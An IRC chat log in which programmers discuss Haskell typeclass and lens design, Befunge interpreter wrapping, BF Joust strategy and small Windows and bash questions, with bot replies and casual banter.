17:45:54 <Vorpal> elliott, abs on a vector is mathematically a scalar unless I completely misremember stuff
17:46:42 <Phantom_Hoover> elliott, I DEMAND YOU TELL ME WHAT IS WRONG WITH Num
17:47:25 <Vorpal> elliott, also what the heck do you define Vector * Vector as. Cross product makes no sense in two dimensions
17:47:27 <Deewiant> CCBI's fingerprint system is all compile time except for the way you can freely enable and disable them at runtime
17:47:37 <elliott> Vorpal: (a,b) * (c,d) = (a*c, b*d). Problem? :trollface:
17:47:46 <Vorpal> elliott, YES!
17:47:56 <Vorpal> elliott, this is mathematical nosense!
17:48:23 <elliott> Patches welcome.
17:48:24 <Vorpal> elliott, and while that may be okay in C it feels so out of place in haskell
17:48:37 <Phantom_Hoover> elliott, presumably (a,b)+(c,d) = (bd(a+c),bd).
17:48:41 <Deewiant> ((a,b,1) * (c,d,1))[0,1] = (b-d, c-a)
17:48:44 <elliott> Phantom_Hoover: No, (a+c,b+d).
17:48:50 <Phantom_Hoover> -_-
17:48:51 <Vorpal> elliott, why do you need Num. Can't you just do the operators anyway. Or make your own saner typeclass?
17:49:02 <elliott> Vorpal: I wouldn't be able to call it (+) then.
17:49:11 <elliott> (+) is defined over Num:
17:49:13 <elliott> :t (+)
17:49:14 <lambdabot> forall a. (Num a) => a -> a -> a
17:49:23 <Vorpal> <Phantom_Hoover> elliott, presumably (a,b)+(c,d) = (bd(a+c),bd). <-- what...
17:49:30 <Deewiant> And of course there are no other operator characters available
17:49:34 <Vorpal> that isn't how you do vector addition
17:49:38 <elliott> Deewiant: Well, none as pretty as +.
17:49:40 <elliott> instance (Num a, Num b) => Num (a,b) where
17:49:40 <Phantom_Hoover> Vorpal, by analogy.
17:49:40 <elliott> (a,b) + (c,d) = (a+c, b+d)
17:49:40 <elliott> (a,b) - (c,d) = (a-c, b-d)
17:49:42 <Vorpal> elliott, ah
17:49:42 <elliott> -- These don't really make any sense
17:49:44 <elliott> (a,b) * (c,d) = (a*c, b*d)
17:49:46 <elliott> abs (a,b) = (abs a, abs b)
17:49:48 <elliott> signum (a,b) = (signum a, signum b)
17:49:50 <elliott> fromInteger a = (fromInteger a, fromInteger a)
17:49:51 <Phantom_Hoover> With fractions.
17:49:53 <elliott> I could define ^+^ or whatever, but ew.
17:49:55 <elliott> :t (^+^)
17:49:56 <Deewiant> Gah, use combinators
17:49:56 <lambdabot> forall v. (AdditiveGroup v) => v -> v -> v
17:49:59 <Vorpal> Phantom_Hoover, hah
17:50:01 <Deewiant> abs = both abs
17:50:03 <Deewiant> signum = both signum
17:50:08 <Deewiant> fromInteger = join (,) . fromInteger
17:50:09 <elliott> Deewiant: Haha, I feel how it hurts you.
17:50:24 <elliott> I don't really want to pull in Data.Arrow for the "satisfy the compiler" functions, dude.
17:50:34 <elliott> *Control.Arrow
17:50:36 <Deewiant> Control.Arrow is in base.
17:50:44 <elliott> And?
17:50:46 <Deewiant> It's not much of a dependency :-P
17:50:53 <elliott> I didn't say that
17:51:01 <Deewiant> There's nothing you're "pulling in" as such
17:51:11 <elliott> I'm pulling in the Arrow typeclass
17:51:19 <Deewiant> ... ohnoes?
17:52:01 <elliott> Ohnoes.
17:52:12 <Deewiant> Also those definitions aren't lazy enough
17:52:15 <Vorpal> haskell (or at least ghc) really does tuples quite messily
17:52:20 <Deewiant> abs ~(a,b) = (abs a, abs b)
17:52:21 <Vorpal> just check :i Ord
17:52:46 <Vorpal> Deewiant, uh what?
17:52:58 <Deewiant> What what
17:53:04 <oerjan> :t both
17:53:05 <lambdabot> Not in scope: `both'
17:53:11 <Deewiant> both = join (***)
17:53:25 <Deewiant> (Not available anywhere AFAIK but I almost always end up defining it in my code)
17:53:28 <Vorpal> Deewiant, what does that ~ do now again
17:53:38 <oerjan> Deewiant: i just wondered if they'd added it or something
17:53:49 <Deewiant> The ~ makes the pattern lazy
17:54:48 <oerjan> Phantom_Hoover: the basic thing wrong with Num is that hit cobbles together many functions that it sometimes makes mathematical sense to define only _some_ of for a type. + for vectors being an obvious example.
17:54:53 <oerjan> *it
17:55:15 <Vorpal> Deewiant, hm how does it do that
17:55:31 <elliott> Lazily
17:55:41 <oerjan> abs and signum being others that frequently aren't needed
17:55:42 <Deewiant> The pattern always matches and it's a runtime error if it doesn't actually match when the value is actually used
17:55:43 -!- asiekierka has joined.
17:55:53 <Vorpal> Deewiant, aha
17:56:17 <elliott> oerjan: also it forbids the naturals...
17:56:36 <oerjan> and abs should be defined in the type family sense too, because often you want the absolute value to belong to a different type
17:57:14 <oerjan> *associate type sense
17:57:17 <oerjan> *d
17:57:45 <oerjan> elliott: yeah that too...
17:58:25 <Vorpal> elliott, how so? abs is identity for naturals. signum has a co-domain {0,1} for them.
17:58:29 <Vorpal> oh wait, it has negate
17:58:30 <Vorpal> right
17:58:37 <elliott> Vorpal: indeed.
17:58:52 <Vorpal> elliott, well like 5-9 is _|_ in the Naturals, wouldn't negate also just be _|_ ?
17:59:11 <elliott> Yes, but that's fugly.
17:59:17 <Vorpal> elliott, well yeah
17:59:35 <Vorpal> elliott, anyway what is fromIneger :: Integer -> Vector for you?
17:59:42 <elliott> fromInteger a = (fromInteger a, fromInteger a)
17:59:53 -!- sixdej|sleep has joined.
17:59:56 <Vorpal> elliott, it should be the reverse of the INTERCAL mingle operator
18:00:01 <elliott> It makes 0 into origin, so that's good enough for me
18:00:11 <Vorpal> which still works for 0
18:01:13 <ais523> does anyone here know how to view dotfiles on Windows 7?
18:01:21 <ais523> as in, my Linux and Windows homedir are mapped into the same directory
18:01:30 <ais523> and I want to look at a dotfile crated on the Linux system from windows
18:01:43 <elliott> ais523: just open it
18:01:45 <ais523> I assume they map to Windows hidden files, somehow; but am not sure how to turn display of hidden files on
18:01:48 <ais523> elliott: it's not visible
18:01:50 <elliott> nope, it doesn't afaik
18:01:57 <oerjan> ais523: folder options?
18:01:57 <elliott> ais523: open it in notepad, or go into folder settings of some kind
18:01:58 <Vorpal> ais523, is this some network thingy?
18:02:01 <elliott> i.e. C:\foo\.blah in notepad
18:02:08 <ais523> Vorpal: yes
18:02:18 <Vorpal> ais523, could do some crazy magic of it's own then
18:02:21 <ais523> oerjan: that's what I'd normally do, but I can't find the menu option, or indeed the menu
18:02:26 <Vorpal> elliott, hm you can't even make vector multiplication do scalar product :(
18:02:26 <oerjan> huh
18:02:28 <ais523> aha, pressing F10 worked
18:02:32 <ais523> the menu was there, just hiding
18:02:50 <oerjan> ais523: it self-applied
18:02:52 <ais523> and there are the dotfiles
18:03:02 * elliott reads http://hackage.haskell.org/packages/archive/data-accessor/0.2.1.5/doc/html/Data-Accessor.html
18:03:23 <copumpkin> meh, not a fan
18:03:33 <elliott> copumpkin: Better than what I have now.
18:03:38 <copumpkin> I prefer fclabels
18:03:38 <elliott> Haskell's record system is fucking terrible.
18:03:39 <Vorpal> copumpkin, indeed you are not a fan. You are a copumpkin!
18:03:41 <ais523> I don't know how anyone's meant to know that without having memorised it from a previous version of Windows
18:03:42 <copumpkin> less henning'd
18:03:54 <elliott> "Henning'd".
18:03:55 <elliott> What :-P
18:04:02 <Vorpal> herring*
18:04:19 <copumpkin> C a b => T a -> T b -> T a b -> T (a, b)
18:04:21 <copumpkin> that's henning'd
18:04:35 <elliott> copumpkin: That's nice.
18:04:36 <Deewiant> Everything is called C and T
18:04:37 <copumpkin> (note that the Ts are different)
18:04:39 <oerjan> who is henning
18:04:39 <elliott> I like genericity :P
18:04:49 <Deewiant> Henning is the guy who calls everything C and T
18:04:50 <elliott> oerjan: thielieileieeman
18:04:53 <copumpkin> oerjan: the source of that wonderful convention
18:04:56 <copumpkin> and the only adopter of it
18:04:57 <oerjan> (it's a norwegian name)
18:05:02 <Vorpal> ais523, presumably you could try right clicking toolbars and have some option for it? Or just locate the folder options from the control panel
18:05:13 <Deewiant> Thielemann
18:05:21 <elliott> copumpkin: Yeah well, fclabels is... less... Luke Palmer!
18:05:25 <copumpkin> lol
18:05:27 <oerjan> hm i guess it's also german
18:05:27 <elliott> Also edwardk likes data-accessors.
18:05:30 <copumpkin> fclabels is fairly nice
18:05:31 <elliott> WHAT NOW
18:05:34 <copumpkin> no he doesn't
18:05:37 <elliott> Well.
18:05:40 <elliott> He said he did yesterday.
18:05:44 <copumpkin> he hates henning's naming
18:05:44 <elliott> Because it doesn't pull in mtl :-P
18:05:49 <elliott> <elliott> Because it doesn't pull in mtl :-P
18:05:53 <copumpkin> yeah, whatever
18:06:07 <elliott> I prefer data-accessors' syntax *shrug*
18:06:31 <elliott> copumpkin: I was going to just write my own.
18:06:35 <elliott> But that seems silly.
18:06:47 <copumpkin> neither data-accessor nor fclabels support one thing I want
18:06:51 <elliott> which is
18:06:58 <copumpkin> a native "modify" method
18:07:01 <copumpkin> that doesn't involve setting and getting
18:07:16 -!- zzo38 has joined.
18:07:18 <copumpkin> I don't care about it being atomic, but I want it
18:07:22 <elliott> copumpkin: The way I was doing mine, it was just get and modify. But why do you want it?
18:07:31 <elliott> Surely GHC can optimise that out. :p
18:07:33 <copumpkin> no
18:07:39 <copumpkin> because you can easily make any Map-like thing into a lens
18:07:49 <copumpkin> and it's silly to traverse the whole map twice
18:07:55 <copumpkin> once to find, the other to update it
18:08:01 <Vorpal> copumpkin, lens in what sense?
18:08:02 <copumpkin> that's why maps have specialized update methods
18:08:09 <copumpkin> lens in the data-accessor/fclabel sense :P
18:08:19 <Vorpal> eh *goes to look*
18:08:29 <copumpkin> basically a boxed-up getter/setter
18:08:57 <copumpkin> it's somewhat equivalent to (a -> b -> b, b -> a)
18:09:01 <Vorpal> ah
18:09:07 <copumpkin> or b -> (a -> b, a)
18:09:08 <elliott> copumpkin: type Accessor a t = (a -> t, (a -> a) -> t -> t)
18:09:17 <copumpkin> oh
18:09:20 <copumpkin> that's nice then
18:09:25 <elliott> copumpkin: that's what i would do, I mean
18:09:26 <elliott> copumpkin: PERFECTED: type Accessor a t = (a -> a) -> t -> (a, t)
18:09:47 <elliott> get a = fst . a id
18:10:00 <elliott> put a x = snd . a (const x)
18:10:07 <elliott> modify a f = snd . a f
18:10:09 <elliott> copumpkin: PERFECTED
18:10:15 <elliott> copumpkin: lol, convince me not to implement this
18:10:23 <copumpkin> put another package up on hackage that does that
18:10:25 <copumpkin> I'd use it
18:10:29 <copumpkin> if it isn't dumb
18:10:40 <elliott> first = \f (a,b) -> (a, (f a, b))
18:10:48 <elliott> second = \f (a,b) -> (b, (a, f b))
18:11:31 <elliott> mapElem k = \f m -> (m Map.! k, Map.adjust f k m)
18:11:37 <elliott> copumpkin: haha this is actually a really good idea
18:11:48 <copumpkin> do it
18:11:58 <elliott> copumpkin: I'm not going to do it in a separate package first, it'll just be Shiro.Accessor
18:12:01 <copumpkin> talk to roconnor and edwardk about it
18:12:03 <elliott> I _don't_ want to lose track of this project
18:12:15 <elliott> I'll get it implemented into the Shiro codebase first, and copy it out later :P
18:12:48 <copumpkin> fair enough :)
18:12:49 <elliott> copumpkin: hm should it be
18:12:53 <elliott> (a -> a) -> t -> (a, t)
18:12:53 <elliott> or
18:12:53 <copumpkin> I don't need it too urgently
18:12:55 <elliott> (a -> a) -> t -> (t, a)
18:12:55 <copumpkin> @hackage lenses
18:12:56 <lambdabot> http://hackage.haskell.org/package/lenses
18:12:57 <elliott> I think the former
18:13:13 <ais523> hmm, you remember how a while ago, I emailed a bunch of people via using evolution over ssh -X?
18:13:17 <elliott> ais523: haha
18:13:26 <copumpkin> elliott: I dunno, which do you typically want to fmap?
18:13:31 <ais523> I just did it again, because I forgot to email myself, and that version of the program had the "sent" folder containing the email
18:13:37 <elliott> copumpkin: I dunno; a is the structure, t is the element
18:13:39 <ais523> and I couldn't figure out how it was stored any other way
18:13:53 -!- zzo38 has quit (Quit: .).
18:14:05 <ais523> it's because I wanted to attach a file to the email I didn't have locally
18:14:12 <oerjan> @hackage fnordly
18:14:12 <lambdabot> http://hackage.haskell.org/package/fnordly
18:14:14 <elliott> tos f (x:xs) = (x, f x : xs)
18:14:14 <elliott> tos f [] = (0, [f 0])
18:14:18 <elliott> this is nice
18:15:50 <elliott> wait
18:15:51 <elliott> t is the type
18:15:54 <elliott> a is the accessed field
18:16:02 <elliott> copumpkin:
18:16:03 <elliott> type Accessor t a = (a -> a) -> t -> (a, t)
18:16:05 <elliott> type Accessor t a = (a -> a) -> t -> (t, a)
18:16:07 <elliott> hmm
18:16:17 <copumpkin> paint the shed whatever color you want it
18:16:17 <elliott> latter has a nice symmetry with the ordering of the arguments but i dunno
18:16:18 <copumpkin> :)
18:16:31 <elliott> copumpkin: WHIIIIICH
18:17:15 <copumpkin> @dice 1d2
18:17:15 <lambdabot> 1d2 => 2
18:17:18 <copumpkin> the second one
18:17:40 <oerjan> :t State
18:17:41 <lambdabot> Not in scope: data constructor `State'
18:17:44 <oerjan> argh
18:17:54 <oerjan> :t M.State
18:17:55 <lambdabot> Couldn't find qualified module.
18:17:57 * copumpkin comforts oerjan
18:17:59 <Phantom_Hoover> Deewiant, incidentally, the Wonders of the World need updated for 1.2.
18:18:03 <elliott> *needs
18:18:07 <elliott> *updating
18:18:21 <elliott> copumpkin: he's having a rather traumatic time
18:18:23 <oerjan> copumpkin: i have this feeling they've removed a number of imports from lambdabot
18:18:27 <Phantom_Hoover> I WILL PLURALISE WHAT I DAMN WELL PLEASE
18:18:28 <elliott> copumpkin: just switched from the warm, comforting, old arms of Hugs
18:18:39 <elliott> plunged into the deep, practical, noisy world of GHC and the Haskell Platform
18:18:39 <oerjan> :t Control.Monad.State.State
18:18:40 <lambdabot> Not in scope: data constructor `Control.Monad.State.State'
18:18:45 <elliott> and I think it's taken its toll on his poor, fragile, old soul
18:18:54 <oerjan> now _that_ is just awful
18:19:11 <oerjan> > State
18:19:12 <lambdabot> Not in scope: data constructor `State'
18:19:19 <ais523> hmm, there's a great sense of freedom in testing these kernel-mode keyloggers
18:19:19 <elliott> copumpkin: hm should I wrap it up in a newtype :D
18:19:20 <oerjan> > Control.Monad.State.State
18:19:21 <lambdabot> Not in scope: data constructor `Control.Monad.State.State'
18:19:31 <ais523> because I /know/ they're malicious, I can safely run them without having to check the source for malware first
18:19:34 <Phantom_Hoover> Deewiant, will you do it, or will I?
18:19:36 -!- hagb4rd has joined.
18:19:38 <copumpkin> elliott: always wrap it before you use it
18:19:38 <elliott> ais523: :D
18:19:46 <elliott> copumpkin: but I like type aliases
18:19:51 <elliott> copumpkin: they make things simpler :(
18:19:57 <Deewiant> Phantom_Hoover: Feel free
18:20:04 <elliott> Phantom_Hoover: Update the TNT room
18:20:05 <copumpkin> what's easier isn't always best. wrap it!
18:20:07 <elliott> You might have to empty it first
18:20:08 <ais523> gah, why does this ls highlight non-executable .sh files in green?
18:20:11 <elliott> copumpkin: you suck
18:20:19 <copumpkin> elliott: not until it's wrapped
18:20:42 <ais523> elliott: I'm even logged in as root and everything! (it wouldn't work very well otherwise, but I'm normally terrified to do stuff in a root shell)
18:20:53 <Phantom_Hoover> Wait, that requires well over a hundred lapis blocks.
18:21:08 <elliott> Phantom_Hoover: :D
18:21:11 * copumpkin finally manages to silence elliott
18:21:13 <Gregor> Dood, I do everything logged in as root.
18:21:15 <elliott> Phantom_Hoover: *ore, presumably
18:21:16 <Gregor> Users are for pussies.
18:21:17 <elliott> copumpkin: NOPE
18:21:24 <Phantom_Hoover> elliott, OK YES
18:21:31 <Gregor> Everything HackEgo runs is run as root with no security countermeasures.
18:21:37 <Deewiant> "... increased the drop rate to 4-8 in the 1.2_02 update. However, due to a bug SMP servers still only drop one dye. "
18:21:43 <elliott> Gregor: Yes, you're so trustworthy.
18:21:45 <elliott> Deewiant: It's not a bug.
18:21:47 <Deewiant> I see MC is still all Notch Engineering®
18:21:50 <elliott> Deewiant: It's just that there was no 1.2_02 server version.
18:21:50 <Gregor> elliott: *trusting
18:21:54 <elliott> Gregor: SHUT UP
18:21:58 <ais523> how do you pipe stdout and stderr in bash? it doesn't seem to be |& like I thought it was
18:21:58 <elliott> Deewiant: because it was just a "bugfix".
18:22:07 <elliott> Deewiant: A bugfix that changed game mechanics, anyway, this belongs in #esoteric-minecraft
18:22:12 <elliott> ais523: 2>&1 :P
18:22:14 <Deewiant> elliott: And why release two executables for a bugfix when you can release one
18:22:15 <ais523> must be 2>&1
18:22:16 <elliott> Unless you don't mean that.
18:22:20 <elliott> Deewiant: Precisely!
18:22:27 <elliott> Deewiant: It was a client-only bug, I think, but clearly another change got in.
18:22:31 -!- nescience has joined.
18:22:38 <elliott> But seriously, -minecraft, otherwise the lynching will start again.
18:22:43 <elliott> THE LYNCHING
18:22:58 <Deewiant> I have nothing more to say, I've facepalmed enough
18:23:53 * Gregor gets his lynchin' pipe wrench.
18:24:23 <elliott> Accessor a b -> Accessor t a -> Accessor t b
18:25:42 <elliott> Err, copumpkin, what's the Category instance for this
18:26:12 <copumpkin> id should be obvious
18:26:42 <elliott> copumpkin: Yes
18:26:45 <elliott> (.) is slightly trickier
18:26:50 <copumpkin> not much worse
18:26:52 <elliott> Accessor a . Accessor b =
18:26:52 <elliott> \f x -> let (elem, x') = b id x
18:26:52 <elliott> (elem2, elem') = a f x
18:26:52 <elliott> in (f elem2, I think I'm going about this all wrong
18:26:59 <elliott> (Yes, I typed that into Emacs.)
18:27:34 <copumpkin> :)
18:28:22 <elliott> @hoogle (a -> a) -> a -> (a, a)
18:28:22 <lambdabot> Data.Graph.Inductive.Query.Monad applyWith' :: Monad m => (a -> b) -> GT m g a -> g -> m (b, g)
18:28:23 <lambdabot> Data.Graph.Inductive.Query.Monad applyWith :: Monad m => (a -> b) -> GT m g a -> m g -> m (b, g)
18:28:23 <lambdabot> Control.Monad.Writer.Class listens :: MonadWriter w m => (w -> b) -> m a -> m (a, b)
18:28:27 <elliott> @hoogle (a -> b) -> a -> (a, b)
18:28:27 <lambdabot> Control.Monad.Writer.Class listens :: MonadWriter w m => (w -> b) -> m a -> m (a, b)
18:28:27 <lambdabot> Network.BufferType buf_span :: BufferOp a -> (Char -> Bool) -> a -> (a, a)
18:28:28 <lambdabot> Data.Graph.Inductive.Query.Monad applyWith' :: Monad m => (a -> b) -> GT m g a -> g -> m (b, g)
18:28:30 <elliott> Meh
18:30:38 <elliott> @djinn ((b -> b) -> a -> (b, a)) -> ((a -> a) -> t -> (a, t)) -> ((b -> b) -> t -> (b, t))
18:30:38 <lambdabot> f a b _ c =
18:30:38 <lambdabot> (case b (\ d -> d) c of
18:30:38 <lambdabot> (e, _) -> case a (\ f -> f) e of
18:30:38 <lambdabot> (g, _) -> g,
18:30:38 <lambdabot> c)
18:30:43 <elliott> copumpkin: Woo
18:30:54 <elliott> Wait, what?
18:30:57 <elliott> It's cheating.
18:31:13 <Deewiant> Your types are too specific
18:31:15 <Deewiant> Presumably
18:32:01 <elliott> :-P
18:32:28 <elliott> a . b = Accessor $ \f x -> (getA a (getA b x), modifyA b (modifyA a f) x)
18:32:30 <elliott> There.
18:32:41 <Deewiant> @djinn (x -> a -> (b, a)) -> ((a -> a) -> t -> (a, t)) -> (x -> t -> (b, t))
18:32:41 <lambdabot> f a b c d =
18:32:41 <lambdabot> (case b (\ e -> e) d of
18:32:42 <lambdabot> (f, _) -> case a c f of
18:32:42 <lambdabot> (g, _) -> g,
18:32:42 <lambdabot> d)
18:32:48 <elliott> copumpkin: Accessor feels to specific a name I think I'm going to call it Field or something. Component?
18:33:23 -!- azaq23 has joined.
18:34:12 <copumpkin> Lens
18:34:13 <copumpkin> :P
18:34:42 <elliott> @pl p (f (g x)) x
18:34:43 <lambdabot> p (f (g x)) x
18:35:42 <Deewiant> @pl \p f g x -> p (f (g x)) x
18:35:42 <lambdabot> flip flip id . ((flip . (ap .)) .) . (. (.)) . (.) . (.)
18:35:50 <elliott> @pl \g p -> accessor (\f x -> (g x, p (f (g x)) x))
18:35:51 <lambdabot> (accessor .) . ap ((.) . (.) . liftM2 (,)) (flip flip id . ((flip . (ap .)) .) . flip ((.) . (.)) . flip (.))
18:35:56 <elliott> I prefer my version
18:35:57 <Deewiant> @pl \x -> p (f (g x)) x
18:35:57 <lambdabot> p =<< f . g
18:36:14 <elliott> Hmm
18:36:32 <elliott> @pl \f x -> p (f (g x)) x
18:36:32 <lambdabot> join . (p .) . (. g)
18:36:32 <Phantom_Hoover> Who is messing with @pl an d why.
18:36:35 <Deewiant> @pl \x -> (g x, p (f (g x)) x)
18:36:36 <lambdabot> liftM2 (,) g (p =<< f . g)
18:36:36 <Phantom_Hoover> *and
18:36:42 <Deewiant> @pl \f x -> (g x, p (f (g x)) x)
18:36:43 <lambdabot> liftM2 (,) g . join . (p .) . (. g)
18:38:23 <oerjan> @pl \g f x -> (g x, p (f (g x)) x)
18:38:24 <lambdabot> ap ((.) . liftM2 (,)) (flip flip id . (liftM2 p .) . flip (.))
18:38:38 <oerjan> @pl \p f x -> (g x, p (f (g x)) x)
18:38:39 <lambdabot> (liftM2 (,) g .) . flip flip id . (ap .) . (. (. g)) . (.)
18:39:19 <Deewiant> I got lost at the \f x one already
18:39:29 <oerjan> um what order of arguments do you _actually_ want?
18:39:58 <oerjan> is it that p f g x above?
18:40:38 <Deewiant> Looking at elliott's accessor-line, \f x
18:41:14 <oerjan> o k
18:43:20 <Deewiant> @pl \f -> g &&& (p =<< f . g)
18:43:20 <lambdabot> (g &&&) . (p =<<) . (. g)
18:44:01 -!- sebbu2 has joined.
18:45:54 -!- sebbu has quit (Ping timeout: 240 seconds).
18:47:45 <elliott> copumpkin: *Shiro.Accessor> (fstA ^= 2) (1,2)
18:47:46 <elliott> (2,2)
18:48:07 <Deewiant> > first (const 2) (1,2)
18:48:08 <lambdabot> (2,2)
18:48:42 <elliott> *Shiro.Accessor> [1,2,3] ^$ tos
18:48:42 <elliott> 1
18:48:42 <elliott> *Shiro.Accessor> [] ^$ tos
18:48:42 <elliott> 0
18:48:42 <elliott> Woot
18:49:06 <Deewiant> > headDef 0 [1,2,3]
18:49:06 <lambdabot> Not in scope: `headDef'
18:49:09 <Deewiant> Bah
18:49:15 <elliott> Deewiant: Yes, the point is that they're accessors.
18:49:24 <Deewiant> I know :-P
18:49:27 <elliott> Deewiant: So I don't need "modifyStack" and all that :P
18:49:53 <ais523> haha, jix_wiggle3 is actually detecting defend7 in particular (by counting small decoys) and using a slower kill algo in order to beat it
18:50:19 <Gregor> Bleh, this is why we need MetaBFJoust
18:50:39 <Gregor> I could set up MetaBFJoust to just run the hill once every ten minutes plus once every time you ask for it :P
18:50:50 <Gregor> So it would change ON ITS OWN!
18:52:02 <oerjan> um the result between two bfjoust programs is deterministic, right? so no need to run the actual fights more than once?
18:52:19 <ais523> oerjan: indeed
18:52:32 <Gregor> The output of a MetaBFJoust program is based on the programs in the last run of the hill (they are the input)
18:52:51 <Gregor> So potentially it changes every hill even if all the MBFJ programs are the same.
18:52:54 <nescience> metabfjoust what?
18:53:26 <nescience> also has wiggle even been updated since forever?
18:53:30 <Gregor> nescience: I had an idea to make a new hill where instead of writing BFJoust programs, you write programs in "any" language which /output/ BFJoust programs, given the previous hill's BFJoust programs as input.
18:53:38 <ais523> nescience: no, it hasn't
18:53:47 -!- yiyus has quit (Ping timeout: 255 seconds).
18:53:49 <ais523> but defend10 and defend7 both use a similar decoy structure
18:53:51 <nescience> gregor: lol
18:54:03 <ais523> so they're both detected and use the same counter-defend strategy
18:54:13 <nescience> ais: he pretty much just messed with the numbers until they beat everything
18:54:16 <elliott> > (-2) `rem` (-2)
18:54:16 <Gregor> nescience: Mainly because everybody talks about how their programs are optimized to other programs on the hill, and doing MBJS would make it possible to break that OR use it even more skillfully.
18:54:17 <lambdabot> 0
18:54:28 <elliott> > (-2) `rem` (-2) == 0
18:54:29 <lambdabot> True
18:54:35 <nescience> gregor: interesting
18:54:43 <ais523> Gregor: mine are rarely deliberately aimed at particular enemies
18:54:55 <Gregor> s/their /some /
18:54:59 <ais523> actually, a bigger hill would mostly avoid the issue
18:55:07 <nescience> I don't think most are written "against" certain enemies
18:55:08 <Gregor> What size wouldja like?
18:55:11 <nescience> it's more like
18:55:13 <ais523> because aiming for the leaders would leave you doing suboptimal things that made you vulnerable to riff-raff
18:55:16 -!- yiyus has joined.
18:55:26 <ais523> 20's beginning to get there at the moment
18:55:32 <nescience> people enter things and then fiddle with them until they succeed more
18:55:37 <ais523> nescience: indeed
18:56:05 <ais523> if you look at wiggle3, though, it has a pretty explicit "use a slow clear algo upon encountering an enemy with exactly two decoys"
18:56:36 <nescience> I'll have to read again
18:56:41 <ais523> on the other hand, it turns out that even without that detection, wiggle3 beats defend10 on most tape lengths
18:56:44 <nescience> unfamiliar with all the programs
18:57:05 <ais523> for unrelated reasons
18:57:14 <ais523> so that particular bit of targeting is actually unnecessary, at least in that case
18:57:51 <nescience> I don't see the detect-two-decoys thing immediately
18:58:32 <ais523> it first detects the first nonzero cell; then uses a different algo for clearing each of the next five
18:58:47 <nescience> I see five slightly different attacks
18:59:00 <nescience> that trigger on the first nonzero one after the next
18:59:03 <nescience> right
18:59:27 -!- nescience has quit (Remote host closed the connection).
19:00:07 <elliott> Vorpal: I have an O(1) wrapping function here you might like to use.
19:00:12 <elliott> For rectangle bounds.
19:00:45 <ais523> elliott: is that possible?
19:00:49 <elliott> ais523: Yes.
19:01:04 <elliott> ais523: The standard loop is just "Subtract delta, then subtract delta while in bounds, then add delta".
19:01:18 <elliott> This reduces to a rather simple equation.
19:01:18 -!- nescience has joined.
19:01:23 <ais523> oh, you mean for wrapping round the bounds, rather than calculating what the bounds are
19:01:28 <elliott> Yes, indeed.
19:01:31 <nescience> getting a little tired of phone crashing
19:01:57 <Vorpal> elliott, hm what is the algorithm
19:02:00 <ais523> nescience: a 3-cycle clear defeats defend10 and defend7, that's what's used on the third element
19:02:06 <nescience> anyway I think there were like 3 or 4 defend programs on the hill at the time
19:02:13 <elliott> Vorpal: It'll be easier for you to translate my Haskell than for me to explain it. It's very simple.
19:02:17 <nescience> so I'm not surprised
19:02:27 <elliott> Vorpal: http://hpaste.org/43786/wrapping
19:02:40 <nescience> it's a more complicated version of what I was moving towards with slowrush
19:02:40 <elliott> Vorpal: div is integer division.
19:02:46 <Vorpal> elliott, raw link? df + browser = slow
19:02:51 <elliott> Vorpal: http://hpaste.org/raw/43786/wrapping
19:02:54 <Vorpal> thanks
19:03:21 <nescience> it was more to target the strategy than a specific revision
19:04:02 <Vorpal> > :t frac
19:04:03 <lambdabot> <no location info>: parse error on input `:'
19:04:05 <Vorpal> what
19:04:11 <elliott> Vorpal: I define it right there...
19:04:14 <Vorpal> oh right
19:04:16 <elliott> Also, it's ":t frac", not "> :t frac".
19:04:36 <Vorpal> elliott, I find reading bottom to top a bit confusing still :P
19:04:46 <Vorpal> elliott, does it pass mycology?
19:04:54 <elliott> Vorpal: Yes.
19:04:59 <ais523> chainmail beats wiggle3 because it only has one decoy (the tripwire) in front of the cell it locks the opponent on, and uses a 128-cycle rather than 256-cycle lock which is resistant to defense-detecting infinite loops like wiggle3 uses (probably accidentally)
19:05:01 <elliott> Well, all the wrapping parts, yes :P
19:05:06 <elliott> It doesn't pass because of o.
19:05:08 <elliott> But that's my bug :P
19:05:12 <Vorpal> elliott, where does it define the Ray type?
19:05:17 <ais523> o doesn't need to be implemented, does it?
19:05:21 <elliott> Vorpal: It doesn't, but it doesn't need to.
19:05:26 <elliott> Vorpal: (x,y) is the current position, (dx,dy) is the current delta.
19:05:32 <Vorpal> <elliott> Vorpal: It doesn't, but it doesn't need to. <--
19:05:33 <Vorpal> what
19:05:36 <Vorpal> was that to ais?
19:05:40 <elliott> No.
19:05:43 <elliott> It doesn't define the Ray type there.
19:05:46 <Vorpal> ah
19:05:48 <elliott> Because you don't need to see it to make sense of the algorithm :P
19:05:53 <elliott> I just pass around rays because that's what I use.
19:05:57 <elliott> ais523: no, but I do implement it
19:06:01 <elliott> ais523: I just don't implement text mode output yet
19:06:11 <Vorpal> elliott, and a ray is just x,y,dx,dy?
19:06:20 -!- asiekierka has quit (Ping timeout: 260 seconds).
19:06:22 <elliott> Yes.
19:06:23 <ais523> anyway, I think the reason wiggle3 does so well is that it has a sort of enhanced offset clear that detects multiple decoy sizes
19:07:03 <elliott> copumpkin: hmm, I don't think I can implement Arrow Accessor
19:07:09 <ais523> that works well against programs that are just adjusting their decoys to beat each other
19:07:09 <elliott> (b -> c) -> Accessor b c
19:07:14 <elliott> no way to modify
19:07:31 <nescience> yeah. I wanted to do something similar but it was too late!
19:07:37 <nescience> oh right
19:07:44 <nescience> I remember now
19:07:54 <nescience> it's less about attacking Defend decoys
19:08:06 <nescience> and more about clearing common decoy patterns efficiently
19:08:14 <ais523> yep
19:08:21 <nescience> the numbers chosen worked best for the hill makeup at the time
19:08:41 <nescience> but they are kind of specific
19:10:26 <ais523> !bfjoust decoybooster (>)*8(+)*128(<(+)*128)*7(>)*7([(+)*30[-]]>)*21
19:10:49 <EgoBot> Score for ais523_decoybooster: 8.4
19:10:57 <ais523> hmm, I wonder why that did so badly?
19:11:22 <elliott> Vorpal: Implemented it yet? :-P
19:12:00 <Deewiant> elliott: If you're interested in CCBI's wrapping it's basically Dimension.rayIntersects in ccbi.space.utils
19:12:51 <elliott> Deewiant: I'll take a look at it. How does slowdown.b98 slow down cfunge, btw? By making it iterate over tons of cells before it gets to the end of the line and wraps?
19:13:22 <Deewiant> That's the main reason cfunge is noticeably slow there, yes
19:13:55 <elliott> Deewiant: I was thinking I would store the bounds of each line and column, but then slowdown2.b98 could just fly instead.
19:14:07 <elliott> So I guess I need your hideously complicated stuff at some point :P
19:14:29 <Deewiant> If you insist :-P
19:14:39 <Vorpal> elliott, no. Still playing df
19:14:46 <elliott> Deewiant: Well, writing anything that falls down on flying things sucks.
19:14:47 <Vorpal> elliott, I'm not in any hurry
